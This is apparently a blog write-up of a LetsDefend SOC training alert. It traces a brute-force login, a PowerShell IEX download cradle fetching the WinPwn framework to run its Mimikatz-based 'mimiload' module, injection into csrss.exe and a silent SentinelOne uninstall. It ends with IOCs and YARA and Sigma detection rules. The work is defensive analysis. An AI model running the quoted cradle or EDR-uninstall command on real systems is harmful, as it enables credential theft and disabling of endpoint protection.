SOC318 // Reflective Code Loading Attempt via PowerShell // inksec.io

// soc investigation 2026-07-27

SOC318 Reflective Code Loading Attempt via PowerShell

letsdefend High ✓ true positive

analyst verdict TRUE POSITIVE

✓

SOC318 - Reflective Code Loading Attempt via PowerShell

Event ID: 296
Date/Time: Sep 03, 2024, 12:42 PM
Host: Lorna (EC2AMAZ-ILGVOIN)
Internal IP: 172.16.17.119
User: LetsDefend
Device Action: Allowed
Verdict: True Positive

Initial Access

Brute force login attempts against user LetsDefend originating from 212[.]102[.]51[.]45. VirusTotal flags the source as a VPN exit node; AbuseIPDB flags it malicious based on brute force reports. Approximately 20 attempts, culminating in a successful login at 12:40 PM.

Attacker Timeline

Time	Activity	Notes
12:41:02	`whoami`	Discovery
12:41:09	`whoami /all`	Discovery
12:41:18	`systeminfo`	Discovery
12:41:47	`tasklist`	Discovery
12:42:05	`net user`	Discovery
12:42:12	`net group`	Discovery
12:42:16	`taskhostw.exe Install $(Arg0)`	Unresolved artifact, unexpanded variable, flagged not confirmed
12:42:18	`runas /user:LetsDefend "powershell.exe"`	Did not elevate, same user context confirmed
12:42:24	`__PSScriptPolicyTest_eqqmonbo.5xk.ps1` created	Benign PowerShell policy check artifact, not attacker tooling
12:42:44	`ping google.com`	Connectivity test
12:42:51	IEX download cradle executed	See below
12:43:05	CreateRemoteThread into csrss.exe	See Process Injection
12:46:50-51	msiexec SentinelOne uninstall	See Defense Evasion

Reflective Code Loading

iex(new-object net.webclient).downloadstring('hxxps://raw[.]githubusercontent[.]com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn[.]ps1') mimiload -consoleoutput -noninteractive

WinPwn is a publicly available offensive PowerShell post-exploitation framework. The attacker invoked the mimiload module (Mimikatz wrapper) directly with -noninteractive, indicating the module was pre-selected rather than navigated via menu. Execution was fully in-memory; no file written to disk for the payload itself.

Process Injection

Sysmon EID 8 (CreateRemoteThread), 12:43:05 - 14 seconds after the IEX execution.

SourceUser: EC2AMAZ-ILGVOIN\LetsDefend
TargetImage: csrss.exe (PID 784)
TargetUser: NT AUTHORITY\SYSTEM
StartModule / StartFunction: blank - consistent with unmapped memory execution

No Sysmon EID 10 (ProcessAccess) entries were found targeting lsass.exe. This does not rule out credential access, since a successful thread injection into a SYSTEM process could provide an alternate path to elevated execution that would not necessarily generate an EID 10 record against LSASS.

Defense Evasion - EDR Uninstall

Sysmon EID 1, 12:46:50 and 12:46:51.

msiexec.exe /x {CD6E5136-A1CF-498C-E7C334802225} /qn /quiet /norestart /l*vx "C:\Windows\TEMP\SentinelUninstall_2024-09-03_12-46-50.log"

User: NT AUTHORITY\SYSTEM
IntegrityLevel: System

Confirms a silent uninstall of the SentinelOne EDR agent executed with SYSTEM privileges, approximately 4 minutes after the process injection event. The timing sequence supports the injection having obtained SYSTEM-level execution, subsequently used to disable endpoint protection.

MITRE ATT&CK Mapping

Technique	Tactic	Description
T1110	Credential Access	Brute Force
T1078	Defense Evasion	Valid Accounts
T1033	Discovery	System Owner/User Discovery
T1082	Discovery	System Information Discovery
T1057	Discovery	Process Discovery
T1087.001	Discovery	Account Discovery: Local Account
T1069.001	Discovery	Permission Groups Discovery: Local Groups
T1059.001	Execution	Command and Scripting Interpreter: PowerShell
T1620	Defense Evasion	Reflective Code Loading
T1003	Credential Access	OS Credential Dumping - LSASS/SAM (attempted via mimiload, not confirmed successful, no EID 10 corroboration)
T1055	Privilege Escalation	Process Injection (CreateRemoteThread into csrss.exe; specific sub-technique unconfirmed, StartModule blank)
T1562.001	Defense Evasion	Impair Defenses: Disable or Modify Tools (SentinelOne uninstall)

IOC Table

Type	Value	Notes
IP	212[.]102[.]51[.]45	Brute force source, Japan geo, VPN (VT), malicious (AbuseIPDB)
IP	172[.]16[.]17[.]119	Internal victim host (Lorna)
URL	hxxps[://]raw[.]githubusercontent[.]com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn[.]ps1	WinPwn framework source
User	LetsDefend	Compromised account
Host	Lorna (EC2AMAZ-ILGVOIN)	Victim host
MSI GUID	{CD6E5136-A1CF-498C-E7C334802225}	SentinelOne product code, uninstalled

Analysis Reports

https://www.abuseipdb.com/check/212.102.51.45 https://www.virustotal.com/gui/ip-address/212.102.51.45 https://github.com/S3cur3Th1sSh1t/WinPwn

Verdict: True Positive

Full attack chain observed from initial access through defense evasion, with apparent privilege escalation succeeding partway through - not an early-stage catch.

Rules

rule WinPwn_Mimiload_Module

{

meta:

description = "Detects WinPwn framework content, specifically the mimiload credential dumping module"

author = "Tate"

date = "2026-07-27"

reference = "https://github.com/S3cur3Th1sSh1t/WinPwn"

  

strings:

$winpwn1 = "WinPwn" ascii wide

$winpwn2 = "S3cur3Th1sSh1t" ascii wide

$mimiload1 = "mimiload" ascii wide nocase

$mimiload2 = "-consoleoutput" ascii wide nocase

$mimiload3 = "-noninteractive" ascii wide nocase

$behavior1 = "DownloadString" ascii wide

$behavior2 = "Invoke-Mimikatz" ascii wide nocase

  

condition:

2 of ($winpwn*) or

(1 of ($winpwn*) and 1 of ($mimiload*)) or

(1 of ($mimiload*) and 1 of ($behavior*))

}

title: PowerShell IEX Download Cradle Execution

id: 8f3a2b1c-4d5e-4f6a-9b8c-1a2b3c4d5e6f

status: experimental

description: Detects fileless download cradle pattern using IEX with WebClient DownloadString, associated with reflective code loading of remote PowerShell scripts

references:

- https://attack.mitre.org/techniques/T1059/001/

- https://attack.mitre.org/techniques/T1620/

author: Tate

date: 2026-07-27

tags:

- attack.execution

- attack.t1059.001

- attack.defense-evasion

- attack.t1620

logsource:

category: process_creation

product: windows

detection:

selection_process:

Image|endswith: '\powershell.exe'

selection_iex:

CommandLine|contains: 'IEX'

selection_cradle:

CommandLine|contains|all:

- 'Net.WebClient'

- 'DownloadString'

condition: selection_process and selection_iex and selection_cradle

falsepositives:

- Legitimate administrative scripts using update-checking cradles (rare, should be allowlisted by hash/path if so)

level: high

title: Suspicious PowerShell Process Access to LSASS

id: 3c4d5e6f-7a8b-4c9d-ae1f-2b3c4d5e6f7a

status: experimental

description: Detects potential credential dumping via suspicious access rights requested against lsass.exe from a PowerShell process, consistent with Mimikatz-style memory read tooling (e.g. WinPwn mimiload module)

references:

- https://attack.mitre.org/techniques/T1003/001/

author: Tate

date: 2026-07-27

tags:

- attack.credential-access

- attack.t1003.001

logsource:

category: process_access

product: windows

service: sysmon

detection:

selection_target:

TargetImage|endswith: '\lsass.exe'

selection_source:

SourceImage|endswith: '\powershell.exe'

selection_access:

GrantedAccess:

- '0x1010'

- '0x1410'

- '0x1010'

- '0x1438'

- '0x143a'

condition: selection_target and selection_source and selection_access

falsepositives:

- EDR or AV agents performing legitimate LSASS inspection (verify SourceImage path and signer)

level: critical